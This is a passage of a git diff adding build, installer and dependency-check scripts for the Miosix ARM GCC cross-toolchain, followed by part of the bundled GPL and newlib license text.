size +# P is sizeof(void*), 4 on ARM +# R is sizeof(__cxa_refcounted_exception), 128 on ARM +# D is sizeof(__cxa_dependent_exception), 120 on RAM +# This is about as small as it can get in a multithreaded system. +echo "Configuring $GCC (start)..." +$SUDO ../$GCC/configure \ + --build=$BUILD \ + --host=$HOST \ + --target=arm-miosix-eabi \ + --with-gmp=$LIB_DIR \ + --with-mpfr=$LIB_DIR \ + --with-mpc=$LIB_DIR \ + MAKEINFO=missing \ + --prefix=$PREFIX \ + --disable-shared \ + --disable-libssp \ + --disable-nls \ + --enable-libgomp \ + --disable-libstdcxx-pch \ + --disable-libstdcxx-dual-abi \ + --disable-libstdcxx-filesystem-ts \ + --enable-libstdcxx-static-eh-pool \ + --with-libstdcxx-eh-pool-obj-count=3 \ + --enable-threads=miosix \ + --enable-languages="c,c++" \ + --enable-lto \ + --disable-wchar_t \ + --with-newlib \ + ${__GCC_CONF_HEADERS_PARAM} \ + --with-pkgversion="GCC_mp${__GCCPATCUR}" \ + &>../log/05_gcc-start_1_configure.txt \ + || quit ":: Error configuring gcc-start" + +echo "Building $GCC (start)..." +$SUDO make all-gcc $PARALLEL &>../log/05_gcc-start_2_build.txt \ + || quit ":: Error compiling gcc-start" + +echo "Installing $GCC (start)..." +$SUDO make install-gcc DESTDIR=$DESTDIR &>../log/05_gcc-start_3_install.txt \ + || quit ":: Error installing gcc-start" + +# Remove the sys-include directory if we are installing locally. +# There are two reasons why to remove it: first because it is unnecessary, +# second because it is harmful. +# After gcc is compiled, the installation of newlib places the headers in the +# include dirctory and at that point the sys-include headers aren't necessary anymore +# Now, to see why the're harmful, consider the header newlib.h It is initially +# empty and is filled in by the newlib's ./configure with the appropriate options +# Now, since the configure process happens after, the newlib.h in sys-include +# is the wrong (empty) one, while the one in include is the correct one. +# This causes troubles because newlib.h contains configuration options that are +# used by other headers in libc, and the misconfiguration becomes visible to +# user code since GCC seems to take the wrong newlib.h +$SUDO rm -rf $DESTDIR$PREFIX/arm-miosix-eabi/sys-include + +cd .. + +# +# Part 6: compile and install newlib +# + +mkdir newlib_build +cd newlib_build + +echo "Configuring $NEWLIB..." +../$NEWLIB/configure \ + --build=$BUILD \ + --host=$HOST \ + --target=arm-miosix-eabi \ + --prefix=$PREFIX \ + --enable-multilib \ + --enable-newlib-multithread \ + --enable-newlib-io-long-long \ + --enable-newlib-use-malloc-in-execl \ + --disable-newlib-io-c99-formats \ + --disable-newlib-io-long-double \ + --disable-newlib-io-pos-args \ + --disable-newlib-mb \ + --disable-newlib-supplied-syscalls \ + &>../log/06_newlib_1_configure.txt \ + || quit ":: Error configuring newlib" + +echo "Building $NEWLIB..." +make MAKEINFO=/usr/bin/true $PARALLEL &>../log/06_newlib_2_build.txt \ + || quit ":: Error compiling newlib" + +echo "Installing $NEWLIB..." +$SUDO make install MAKEINFO=/usr/bin/true PATH=$PATH DESTDIR=$DESTDIR &>../log/06_newlib_3_install.txt \ + || quit ":: Error installing newlib" + +cd .. + +# +# Part 7: compile and install gcc-end +# + +# Install the linker file for processes +echo "Installing process linker script..." +cd libsyscalls +PREFIX=$PREFIX SUDO=$SUDO DESTDIR=$DESTDIR ./install_linkerscript.sh \ + || quit ":: Error installing process linker script" +cd .. + +# Build and install GCC's libraries +cd gcc_build +echo "Building $GCC (end)..." +$SUDO make all $PARALLEL PATH=$PATH &> ../log/07_gcc-end_1_build.txt \ + || quit ":: Error compiling gcc-end" +echo "Installing $GCC (end)..." +$SUDO make install PATH=$PATH DESTDIR=$DESTDIR &>../log/07_gcc-end_2_install.txt \ + || quit ":: Error installing gcc-end" +cd .. + +# Install the real libsyscalls +echo "Installing libsyscalls..." +cd libsyscalls +PREFIX=$PREFIX SUDO=$SUDO DESTDIR=$DESTDIR ./install_multilibs.sh \ + || quit ":: Error installing libsyscalls" +cd .. + +# +# Part 8: Fixup and verify multilibs +# + +all_multilibs=$(arm-miosix-eabi-gcc --print-multi-lib) +for libspec in $all_multilibs; do + libspec_parts=(${libspec//;/ }) + MULTILIB_PATH=${libspec_parts[0]} + echo "Multilib path $MULTILIB_PATH" + FULL_PATH=$DESTDIR$PREFIX/arm-miosix-eabi/lib/$MULTILIB_PATH + if [[ -f $FULL_PATH/libc.a ]]; then + ## stubs.c was added to newlib as part of the Miosix patches to make + ## it possible to compile binaries before libsyscalls is installed. + ## This is necessary as configure scripts in gcc-end like to build and + ## link binaries to see if certain features are present. + ## However, after gcc-end is done, stubs.o should never be linked as + ## the functions it provides are either provided by libsyscalls for + ## userspace applications, or the kernel itself for kernelspace + ## applications. Since it was found that sometimes the linker selected + ## stubs.o, it is harmful to keep it, so remove it from libc.a + ## NOTE: check after every compiler release, for example from newlib + ## 3.1.0 to 4.6.0 the name changed from lib_a-stubs.o to libc_a-stubs.o + if [[ $STRIP_STUBS_FROM_LIBC = true ]]; then + $SUDO arm-miosix-eabi-ar d $FULL_PATH/libc.a libc_a-stubs.o + $SUDO arm-miosix-eabi-ranlib $FULL_PATH/libc.a + fi + ## All those files aren't needed, so remove them. TODO: try to convince + ## newlib to not produce them in the first place + $SUDO rm -f $FULL_PATH/cpu-init/rdimon-aem.o + $SUDO rmdir $FULL_PATH/cpu-init + $SUDO rm -f $FULL_PATH/libgloss-linux.a + $SUDO rm -f $FULL_PATH/libnosys.a + $SUDO rm -f $FULL_PATH/crt0.o + $SUDO rm -f $FULL_PATH/nosys.specs + $SUDO rm -f $FULL_PATH/librdimon.a + $SUDO rm -f $FULL_PATH/rdimon-crt0.o + $SUDO rm -f $FULL_PATH/rdimon.specs + $SUDO rm -f $FULL_PATH/librdpmon.a + $SUDO rm -f $FULL_PATH/rdpmon-crt0.o + $SUDO rm -f $FULL_PATH/rdpmon.specs + $SUDO rm -f $FULL_PATH/librdimon-v2m.a + $SUDO rm -f $FULL_PATH/rdimon-crt0-v2m.o + $SUDO rm -f $FULL_PATH/rdimon-v2m.specs + $SUDO rm -f $FULL_PATH/linux-crt0.o + $SUDO rm -f $FULL_PATH/linux.specs + $SUDO rm -f $FULL_PATH/pid.specs + $SUDO rm -f $FULL_PATH/redboot-crt0.o + $SUDO rm -f $FULL_PATH/redboot-syscalls.o + $SUDO rm -f $FULL_PATH/redboot.ld + $SUDO rm -f $FULL_PATH/redboot.specs + $SUDO rm -f $FULL_PATH/nano.specs + $SUDO rm -f $FULL_PATH/iq80310.specs + $SUDO rm -f $FULL_PATH/aprofile-validation-v2m.specs + $SUDO rm -f $FULL_PATH/aprofile-validation.specs + $SUDO rm -f $FULL_PATH/aprofile-ve-v2m.specs + $SUDO rm -f $FULL_PATH/aprofile-ve.specs + fi +done + +# 8A: remove root multilib. +# GCC apparently assumes that when no appropriate multilib is found, it is +# always safe to link without multilibs (i.e. with the libraries found directly +# in /lib). However, for the ARM architecture this assumption is completely +# wrong, due to (1) the presence of 3 mutually incompatible instruction sets +# (ARM, Thumb and Thumb2) and (2) the fact that the default compilation options +# build for an extremely old configuration (-mcpu=arm7tdmi -marm) which produces +# code not runnable on any modern ARM microcontroller CPU. +# This line removes all the libraries not included in a multilib to prevent +# GCC from producing broken binaries silently. +# As a result, the use of compilation options not supported by the toolchain +# will result in a link-time failure to find the libraries, hinting that +# something is wrong. + +echo "Deleting root multilibs..." +$SUDO rm "$DESTDIR$PREFIX/arm-miosix-eabi/lib"/*.specs +$SUDO rm "$DESTDIR$PREFIX/arm-miosix-eabi/lib"/*.o +$SUDO rm "$DESTDIR$PREFIX/arm-miosix-eabi/lib"/*.a +$SUDO rm "$DESTDIR$PREFIX/arm-miosix-eabi/lib"/*.ld +$SUDO rm -rf "$DESTDIR$PREFIX/arm-miosix-eabi/lib/cpu-init" +$SUDO rm "$DESTDIR$PREFIX/lib/gcc/arm-miosix-eabi/15.2.0"/*.o +$SUDO rm "$DESTDIR$PREFIX/lib/gcc/arm-miosix-eabi/15.2.0"/*.a + + +# 8B: check that all multilibs have been built. +# This check has been added after an attempt to build arm-miosix-eabi-gcc on Fedora +# where newlib's multilibs were not built. Gcc produced binaries that failed on +# Cortex M3 because the first call to a libc function was a blx into ARM instruction +# set, but since Cortex M3 only has the thumb2 instruction set, the CPU locked. +# By checking that all multilibs are correctly built, this error can be spotted +# immediately instead of leaving a gcc that produces wrong code in the wild. + +check_multilibs() { + if [[ ! -f $1/libc.a ]]; then + quit "::Error, $1/libc.a not installed" + fi + if [[ ! -f $1/libm.a ]]; then + quit "::Error, $1/libm.a not installed" + fi + if [[ ! -f $1/libg.a ]]; then + quit "::Error, $1/libg.a not installed" + fi + if [[ ! -f $1/libatomic.a ]]; then + quit "::Error, $1/libatomic.a not installed" + fi + if [[ ! -f $1/libstdc++.a ]]; then + quit "::Error, $1/libstdc++.a not installed" + fi + if [[ ! -f $1/libsupc++.a ]]; then + quit "::Error, $1/libsupc++.a not installed" + fi +} + +check_multilibs $DESTDIR$PREFIX/arm-miosix-eabi/lib/arm/v4t/nofp/kernel +check_multilibs $DESTDIR$PREFIX/arm-miosix-eabi/lib/arm/v4t/nofp/kernel/noexceptions +check_multilibs $DESTDIR$PREFIX/arm-miosix-eabi/lib/thumb/v4t/nofp/kernel +check_multilibs $DESTDIR$PREFIX/arm-miosix-eabi/lib/thumb/v4t/nofp/kernel/noexceptions +check_multilibs $DESTDIR$PREFIX/arm-miosix-eabi/lib/thumb/v6-m/nofp +check_multilibs $DESTDIR$PREFIX/arm-miosix-eabi/lib/thumb/v6-m/nofp/kernel +check_multilibs $DESTDIR$PREFIX/arm-miosix-eabi/lib/thumb/v6-m/nofp/noexceptions +check_multilibs $DESTDIR$PREFIX/arm-miosix-eabi/lib/thumb/v6-m/nofp/kernel/noexceptions +check_multilibs $DESTDIR$PREFIX/arm-miosix-eabi/lib/thumb/v7-m/nofp +check_multilibs $DESTDIR$PREFIX/arm-miosix-eabi/lib/thumb/v7-m/nofp/kernel +check_multilibs $DESTDIR$PREFIX/arm-miosix-eabi/lib/thumb/v7-m/nofp/noexceptions +check_multilibs $DESTDIR$PREFIX/arm-miosix-eabi/lib/thumb/v7-m/nofp/kernel/noexceptions +check_multilibs $DESTDIR$PREFIX/arm-miosix-eabi/lib/thumb/v7e-m+fp/hard +check_multilibs $DESTDIR$PREFIX/arm-miosix-eabi/lib/thumb/v7e-m+fp/hard/kernel +check_multilibs $DESTDIR$PREFIX/arm-miosix-eabi/lib/thumb/v7e-m+fp/hard/noexceptions +check_multilibs $DESTDIR$PREFIX/arm-miosix-eabi/lib/thumb/v7e-m+fp/hard/kernel/noexceptions +check_multilibs $DESTDIR$PREFIX/arm-miosix-eabi/lib/thumb/v7e-m+dp/hard +check_multilibs $DESTDIR$PREFIX/arm-miosix-eabi/lib/thumb/v7e-m+dp/hard/kernel +check_multilibs $DESTDIR$PREFIX/arm-miosix-eabi/lib/thumb/v7e-m+dp/hard/noexceptions +check_multilibs $DESTDIR$PREFIX/arm-miosix-eabi/lib/thumb/v7e-m+dp/hard/kernel/noexceptions +check_multilibs $DESTDIR$PREFIX/arm-miosix-eabi/lib/thumb/v8-m.base/nofp +check_multilibs $DESTDIR$PREFIX/arm-miosix-eabi/lib/thumb/v8-m.base/nofp/kernel +check_multilibs $DESTDIR$PREFIX/arm-miosix-eabi/lib/thumb/v8-m.base/nofp/noexceptions +check_multilibs $DESTDIR$PREFIX/arm-miosix-eabi/lib/thumb/v8-m.base/nofp/kernel/noexceptions +check_multilibs $DESTDIR$PREFIX/arm-miosix-eabi/lib/thumb/v8-m.main+fp/hard +check_multilibs $DESTDIR$PREFIX/arm-miosix-eabi/lib/thumb/v8-m.main+fp/hard/kernel +check_multilibs $DESTDIR$PREFIX/arm-miosix-eabi/lib/thumb/v8-m.main+fp/hard/noexceptions +check_multilibs $DESTDIR$PREFIX/arm-miosix-eabi/lib/thumb/v8-m.main+fp/hard/kernel/noexceptions +check_multilibs $DESTDIR$PREFIX/arm-miosix-eabi/lib/thumb/v8-m.main+dp/hard +check_multilibs $DESTDIR$PREFIX/arm-miosix-eabi/lib/thumb/v8-m.main+dp/hard/kernel +check_multilibs $DESTDIR$PREFIX/arm-miosix-eabi/lib/thumb/v8-m.main+dp/hard/noexceptions +check_multilibs $DESTDIR$PREFIX/arm-miosix-eabi/lib/thumb/v8-m.main+dp/hard/kernel/noexceptions +echo "Checked multilibs: all have been built!" + +# +# Part 9: compile and install gdb +# + +# GDB on linux/windows needs expat +if [[ $DESTDIR ]]; then + cd $EXPAT + + echo "Configuring $EXPAT..." + ./configure \ + --build=$BUILD \ + --host=$HOST \ + --prefix=$LIB_DIR \ + --enable-static=yes \ + --enable-shared=no \ + &> ../log/09_expat_1_configure.txt \ + || quit ":: Error configuring expat" + + echo "Building $EXPAT..." + make all $PARALLEL &>../log/09_expat_2_build.txt \ + || quit ":: Error compiling expat" + + echo "Installing $EXPAT..." + make install &>../log/09_expat_3_install.txt \ + || quit ":: Error installing expat" + + cd .. +fi + +# GDB on linux requires ncurses, and not to depend on them when doing a +# redistributable linux build we build a static version +# Based on previous gdb that when run with --tui reported as error +# "Error opening terminal: xterm-256color" we now build this terminal as +# fallback within ncurses itself. +if [[ $HOST == *linux* ]]; then + cd $NCURSES + + echo "Configuring $NCURSES..." + ./configure \ + --build=$BUILD \ + --host=$HOST \ + --prefix=$LIB_DIR \ + --with-normal --without-shared \ + --without-ada --without-cxx-binding --without-debug \ + --with-fallbacks='xterm-256color' \ + --without-manpages --without-progs --without-tests \ + &> ../log/10_ncurses_1_configure.txt \ + || quit ":: Error configuring ncurses" + + echo "Building $NCURSES..." + make all $PARALLEL &>../log/10_ncurses_2_build.txt \ + || quit ":: Error compiling ncurses" + + echo "Installing $NCURSES..." + make install &>../log/10_ncurses_3_install.txt \ + || quit ":: Error installing ncurses" + + cd .. +fi + +mkdir gdb_build +cd gdb_build + +echo "Configuring $GDB..." +../$GDB/configure \ + --build=$BUILD \ + --host=$HOST \ + --target=arm-miosix-eabi \ + --prefix=$PREFIX \ + --with-gmp=$LIB_DIR \ + --with-mpfr=$LIB_DIR \ + --with-libmpfr-prefix=$LIB_DIR \ + --with-libexpat-prefix=$LIB_DIR \ + --with-system-zlib=no \ + --with-lzma=no \ + --with-python=no \ + --enable-interwork \ + --enable-multilib \ + --disable-werror &>../log/11_gdb_1_configure.txt \ + || quit ":: Error configuring gdb" + +# Specify a dummy MAKEINFO binary to work around an issue in the gdb makefiles +# where compilation fails if MAKEINFO is not installed. +# https://sourceware.org/bugzilla/show_bug.cgi?id=14678 +# LDFLAGS="$HOSTLDFLAGS" to avoid having to distribute libstdc++.dll on windows +echo "Building $GDB..." +make all LDFLAGS="$HOSTLDFLAGS" MAKEINFO=/usr/bin/true $PARALLEL &>../log/11_gdb_2_build.txt \ + || quit ":: Error compiling gdb" + +echo "Installing $GDB..." +$SUDO make install LDFLAGS="$HOSTLDFLAGS" MAKEINFO=/usr/bin/true PATH=$PATH DESTDIR=$DESTDIR &>../log/11_gdb_3_install.txt \ + || quit ":: Error installing gdb" + +cd .. + +# +# Part 10: install the postlinker, buildromfs, maputil +# + +build_mx_tool() +{ + toolname=$1 + echo "Installing $toolname..." + cd $toolname || quit ":: Error $toolname not found" + mkdir build + cd build + CC=$HOSTCC CXX=$HOSTCXX LDFLAGS="$HOSTLDFLAGS" \ + $CMAKE .. || quit ":: Error configuring $toolname" + make || quit ":: Error building $toolname" + $SUDO cp $toolname$EXT $DESTDIR$PREFIX/bin || quit ":: Error installing $toolname" + cd .. + rm -rf build + cd .. +} + +build_mx_tool "mx-postlinker" +build_mx_tool "mx-buildromfs" +build_mx_tool "mx-maputil" + +# +# Part 11: install GNU make and rm (windows release only) +# + +if [[ $HOST == *mingw* ]]; then + + cd $MAKE + + echo "Configuring $MAKE..." + ./configure \ + --build=$BUILD \ + --host=$HOST \ + --prefix=$PREFIX &> z.make.a.txt \ + || quit ":: Error configuring make" + + echo "Building $MAKE..." + make all $PARALLEL &>../log/z.make.b.txt \ + || quit ":: Error compiling make" + + echo "Installing $MAKE..." + make install DESTDIR=$DESTDIR &>../log/z.make.c.txt \ + || quit ":: Error installing make" + + cd .. + + # FIXME get a better rm to distribute for windows + echo "Installing rm..." + $HOSTCC -o rm$EXT -O2 installers/windows/rm.c \ + || quit ":: Error compiling rm" + + mv rm$EXT $DESTDIR$PREFIX/bin \ + || quit ":: Error installing rm" +fi + +# +# Part 12: Final fixups +# + +# Remove this since its name is not arm-miosix-eabi- +$SUDO rm $DESTDIR$PREFIX/bin/arm-miosix-eabi-$GCC$EXT +# Remove this since it is useless when cross-compiling +$SUDO rm $DESTDIR$PREFIX/bin/arm-miosix-eabi-gstack + +# Strip stuff that is very large when having debug symbols to save disk space +# This simple thing can easily save 500+MB +find $DESTDIR$PREFIX -name cc1$EXT | $SUDO xargs $HOSTSTRIP +find $DESTDIR$PREFIX -name cc1plus$EXT | $SUDO xargs $HOSTSTRIP +find $DESTDIR$PREFIX -name lto1$EXT | $SUDO xargs $HOSTSTRIP +$SUDO $HOSTSTRIP $DESTDIR$PREFIX/bin/* + + + +# Installers, env variables and other stuff +if [[ $DESTDIR ]]; then + if [[ ( $(uname -s) == 'Linux' ) && ( $HOST == *linux* ) ]]; then + # Build a makeself installer + # Distribute the installer and uninstaller too + echo "Building Linux makeself installer..." + sed -E "s|/opt/arm-miosix-eabi|$PREFIX|g" installers/linux/installer.sh > $DESTDIR$PREFIX/installer.sh + sed -E "s|/opt/arm-miosix-eabi|$PREFIX|g" uninstall.sh > $DESTDIR$PREFIX/uninstall.sh + chmod +x $DESTDIR$PREFIX/installer.sh $DESTDIR$PREFIX/uninstall.sh + sh downloaded/$MAKESELF.run + # NOTE: --keep-umask otherwise the installer extracts files setting to 0 + # permissions to group and other, resulting in an unusable installation + ./$MAKESELF/makeself.sh --xz --keep-umask \ + $DESTDIR$PREFIX \ + MiosixToolchainInstaller15.2.0mp4.2.run \ + "Miosix toolchain for Linux (GCC 15.2.0-mp4.2)" \ + "./installer.sh" + elif [[ ( $(uname -s) == 'Linux' ) && ( $HOST == *mingw* ) ]]; then + # Build an executable installer for Windows + echo "Building Windows InnoSetup installer..." + cd installers/windows + wine "C:\Program Files (x86)\Inno Setup 6\Compil32.exe" /cc MiosixInstaller.iss + cd ../.. + elif [[ ( $(uname -s) == 'Linux' ) && ( $HOST == *darwin* ) ]]; then + echo "TODO: there seems to be no way to produce a .pkg mac installer" + echo "from Linux as the pkgbuild/productbuild tools aren't available" + elif [[ $(uname -s) == 'Darwin' ]]; then + # Build a .pkg installer for macOS if we are on macOS and we are building for it + echo "Building macOS package..." + cp uninstall.sh $DESTDIR$PREFIX + # Prepare the postinstall script by replacing the correct prefix + mkdir -p installers/macos/Scripts + cat installers/macos/ScriptsTemplates/postinstall | \ + sed -e 's|PREFIX=|PREFIX='"$PREFIX"'|' > \ + installers/macos/Scripts/postinstall + chmod +x installers/macos/Scripts/postinstall + # Build a standard macOS package. + # The wizard steps are configured by the Distribution.xml file. + # Documentation: + # https://developer.apple.com/library/archive/documentation/ + # DeveloperTools/Reference/DistributionDefinitionRef/Chapters/ + # Introduction.html#//apple_ref/doc/uid/TP40005370-CH1-SW1 + # Also see `man productbuild` and `man pkgbuild`. + distr_script='installers/macos/Distribution_Intel.xml' + suffix='Intel' + if [[ $BUILD == aarch64* ]]; then + distr_script='installers/macos/Distribution_ARM.xml' + suffix='ARM' + fi + # Detect selected minimum OS version from $CFLAGS + min_os_ver=$(echo "$CFLAGS" | sed -E 's/.*-mmacos-version-min=([^ ]+).*/\1/g') + if [[ -z "${min_os_ver}" ]]; then + # Not specified in $CFLAGS: use the OS version associated to the SDK + # we are using + min_os_ver="$(xcrun --show-sdk-version)" + fi + + pkgbuild \ + --identifier 'org.miosix.toolchain.gcc' \ + --version "15.2.0.${__GCCPATCUR}" \ + --min-os-version "${min_os_ver}" \ + --compression latest \ + --install-location / \ + --scripts installers/macos/Scripts \ + --root $DESTDIR \ + "gcc.pkg" + productbuild \ + --distribution ${distr_script} \ + --resources installers/macos/Resources \ + --package-path ./ \ + "./MiosixToolchainInstaller15.2.0mp${__GCCPATCUR}_${suffix}.pkg" + fi +else + # Install the uninstaller too + echo "Installing uninstall script..." + chmod +x uninstall.sh + $SUDO cp uninstall.sh $DESTDIR$PREFIX + # If sudo not an empty variable and we are not on macOS, make symlinks to + # /usr/bin. else make a script to override PATH + if [[ ( $(uname -s) != 'Darwin' ) && $SUDO ]]; then + $SUDO ln -s $DESTDIR$PREFIX/bin/* /usr/bin + else + echo '# Used when installing the compiler locally to test it' > env.sh + echo '# usage: $ . ./env.sh' >> env.sh + echo '# or $ source ./env.sh' >> env.sh + echo "export PATH=$PREFIX/bin:"'$PATH' >> env.sh + chmod +x env.sh + fi +fi + +# Workaround for the --with-headers issue, see --with-headers comment. +# Symlink of $DESTDIR$PREFIX/arm-miosix-eabi to $PREFIX/arm-miosix-eabi no +# longer required. This must unconditionally be done with sudo so it's important +# we use sudo and not $SUDO. +if [[ -h $PREFIX/arm-miosix-eabi ]]; then + sudo rm $PREFIX/arm-miosix-eabi + sudo rmdir $PREFIX +fi + +# +# The end. +# + +echo "Successfully installed!" diff --git a/tools/compiler/gcc-15.2.0-mp4.2/installers/additional-download.sh b/tools/compiler/gcc-15.2.0-mp4.2/installers/additional-download.sh new file mode 100644 index 000000000..bf1521b6c --- /dev/null +++ b/tools/compiler/gcc-15.2.0-mp4.2/installers/additional-download.sh @@ -0,0 +1,26 @@ +#!/bin/sh + +# This simple script will download additional sources required to make a +# distributable release build for linux/windows + +# Meant to be run from the main compiler directory (./installers/additional-download.sh) +cd downloaded || exit + +# macOS does not ship with wget, check if it exists and otherwise use curl +if command -v wget > /dev/null; then + WGET=wget +else + WGET='curl -LO' +fi + +# Linux +$WGET https://ftp.gnu.org/gnu/ncurses/ncurses-6.5.tar.gz +$WGET https://github.com/megastep/makeself/releases/download/release-2.6.0/makeself-2.6.0.run + +# Windows +$WGET https://ftp.gnu.org/gnu/make/make-4.4.1.tar.gz +$WGET https://jrsoftware.org/download.php/is.exe +mv is.exe innosetup.exe + +# All +$WGET https://github.com/libexpat/libexpat/releases/download/R_2_7_3/expat-2.7.3.tar.xz diff --git a/tools/compiler/gcc-15.2.0-mp4.2/installers/checkdeps-macos.sh b/tools/compiler/gcc-15.2.0-mp4.2/installers/checkdeps-macos.sh new file mode 100755 index 000000000..a8dcca6bb --- /dev/null +++ b/tools/compiler/gcc-15.2.0-mp4.2/installers/checkdeps-macos.sh @@ -0,0 +1,21 @@ +#!/bin/bash + +# When making a redistributable macOS package, use this +# to check the required libraries after it's installed on +# another machine + +# Meant to be run from the main compiler directory (./installers/checkdeps.sh) + +bad=0 +for f in dist/opt/arm-miosix-eabi/bin/*; do + printf 'Checking %s...\n' "$f" + otool -L "$f" | tail -n +2 | grep -Ev '/usr/lib/[^/]*.dylib' + if [[ $? == 0 ]]; then + bad=$(( bad + 1 )) + fi +done +if [[ $bad != 0 ]]; then + printf 'There are %d files that link to non-system libraries!\n' "$bad" +else + echo 'Everything seems to be OK' +fi diff --git a/tools/compiler/gcc-15.2.0-mp4.2/installers/checkdeps-windows.sh b/tools/compiler/gcc-15.2.0-mp4.2/installers/checkdeps-windows.sh new file mode 100644 index 000000000..4fbd3b2d5 --- /dev/null +++ b/tools/compiler/gcc-15.2.0-mp4.2/installers/checkdeps-windows.sh @@ -0,0 +1,8 @@ +#!/bin/bash + +# When making a redistributable windows installation, use this +# to check the required librearies after it's installed on +# another machine + +# Meant to be run from the main compiler directory (./installers/checkdeps-windows.sh) +strings dist/opt/arm-miosix-eabi/bin/*.exe | grep '\.dll' | sort -u diff --git a/tools/compiler/gcc-15.2.0-mp4.2/installers/checkdeps.sh b/tools/compiler/gcc-15.2.0-mp4.2/installers/checkdeps.sh new file mode 100644 index 000000000..f50f37e85 --- /dev/null +++ b/tools/compiler/gcc-15.2.0-mp4.2/installers/checkdeps.sh @@ -0,0 +1,9 @@ +#!/bin/bash + +# When making a redistributable linux installation, use this +# to check the required librearies after it's installed on +# another machine + +# Meant to be run from the main compiler directory (./installers/checkdeps.sh) + +ldd dist/opt/arm-miosix-eabi/bin/* | perl -ne 'next unless(/\s+(\S+.so(\S+))\s+/);print "$1\n";' | sort -u diff --git a/tools/compiler/gcc-15.2.0-mp4.2/installers/linux/installer.sh b/tools/compiler/gcc-15.2.0-mp4.2/installers/linux/installer.sh new file mode 100644 index 000000000..09ea0adeb --- /dev/null +++ b/tools/compiler/gcc-15.2.0-mp4.2/installers/linux/installer.sh @@ -0,0 +1,20 @@ +#!/bin/bash + +quit() { + echo $1 + exit 1 +} + +which sudo > /dev/null || quit "Error: sudo is missing, please install it and try again" + +echo "Checking if a previous version of the Miosix Toolchain is installed" +echo "and uninstalling it ..." + +./uninstall.sh + +echo "Installing the Miosix toolchain ..." +# NOTE: some distros may not have /opt anymore +[[ -d /opt ]] || sudo mkdir /opt +# NOTE: "" around pwd as the directory may contain spaces +sudo cp -R "`pwd`" /opt/arm-miosix-eabi || quit "Error: can't install to /opt/arm-miosix-eabi" +sudo ln -s /opt/arm-miosix-eabi/bin/* /usr/bin || quit "Error: can't make symlinks to /usr/bin" diff --git a/tools/compiler/gcc-15.2.0-mp4.2/installers/macos/.gitignore b/tools/compiler/gcc-15.2.0-mp4.2/installers/macos/.gitignore new file mode 100644 index 000000000..d55d46501 --- /dev/null +++ b/tools/compiler/gcc-15.2.0-mp4.2/installers/macos/.gitignore @@ -0,0 +1 @@ +Scripts diff --git a/tools/compiler/gcc-15.2.0-mp4.2/installers/macos/Distribution_ARM.xml b/tools/compiler/gcc-15.2.0-mp4.2/installers/macos/Distribution_ARM.xml new file mode 100644 index 000000000..8332c52f2 --- /dev/null +++ b/tools/compiler/gcc-15.2.0-mp4.2/installers/macos/Distribution_ARM.xml @@ -0,0 +1,35 @@ + + + Miosix Toolchain for macOS (Apple Silicon) + + + + + + + + + + gcc.pkg + + + + + + + diff --git a/tools/compiler/gcc-15.2.0-mp4.2/installers/macos/Distribution_Intel.xml b/tools/compiler/gcc-15.2.0-mp4.2/installers/macos/Distribution_Intel.xml new file mode 100644 index 000000000..e7fb6737e --- /dev/null +++ b/tools/compiler/gcc-15.2.0-mp4.2/installers/macos/Distribution_Intel.xml @@ -0,0 +1,35 @@ + + + Miosix Toolchain for macOS (Intel) + + + + + + + + + + gcc.pkg + + + + + + + diff --git a/tools/compiler/gcc-15.2.0-mp4.2/installers/macos/Resources/license.txt b/tools/compiler/gcc-15.2.0-mp4.2/installers/macos/Resources/license.txt new file mode 100644 index 000000000..56dca6ef4 --- /dev/null +++ b/tools/compiler/gcc-15.2.0-mp4.2/installers/macos/Resources/license.txt @@ -0,0 +1,1761 @@ +=== GCC, Binutils, GDB, Make License === + + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. 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If the Library as you +received it does not specify a version number of the GNU Lesser +General Public License, you may choose any version of the GNU Lesser +General Public License ever published by the Free Software Foundation. + + If the Library as you received it specifies that a proxy can decide +whether future versions of the GNU Lesser General Public License shall +apply, that proxy's public statement of acceptance of any version is +permanent authorization for you to choose that version for the +Library. + +=== Newlib License === + +The newlib subdirectory is a collection of software from several sources. + +Each file may have its own copyright/license that is embedded in the source +file. Unless otherwise noted in the body of the source file(s), the following copyright +notices will apply to the contents of the newlib subdirectory: + +(1) Red Hat Incorporated + +Copyright (c) 1994-2009 Red Hat, Inc. All rights reserved. + +This copyrighted material is made available to anyone wishing to use, +modify, copy, or redistribute it subject to the terms and conditions +of the BSD License. This program is distributed in the hope that +it will be useful, but WITHOUT ANY WARRANTY expressed or implied, +including the implied warranties of MERCHANTABILITY or FITNESS FOR +A PARTICULAR PURPOSE. A copy of this license is available at +http://www.opensource.org/licenses. Any Red Hat trademarks that are +incorporated in the source code or documentation are not subject to +the BSD License and may only be used or replicated with the express +permission of Red Hat, Inc. + +(2) University of California, Berkeley + +Copyright (c) 1981-2000 The Regents of the University of California. +All rights reserved. + +Redistribution and use in source and binary forms, with or without modification, +are permitted provided that the following conditions are met: + + * Redistributions of source code must retain the above copyright notice, + this list of conditions and the following disclaimer. + * Redistributions in binary form must reproduce the above 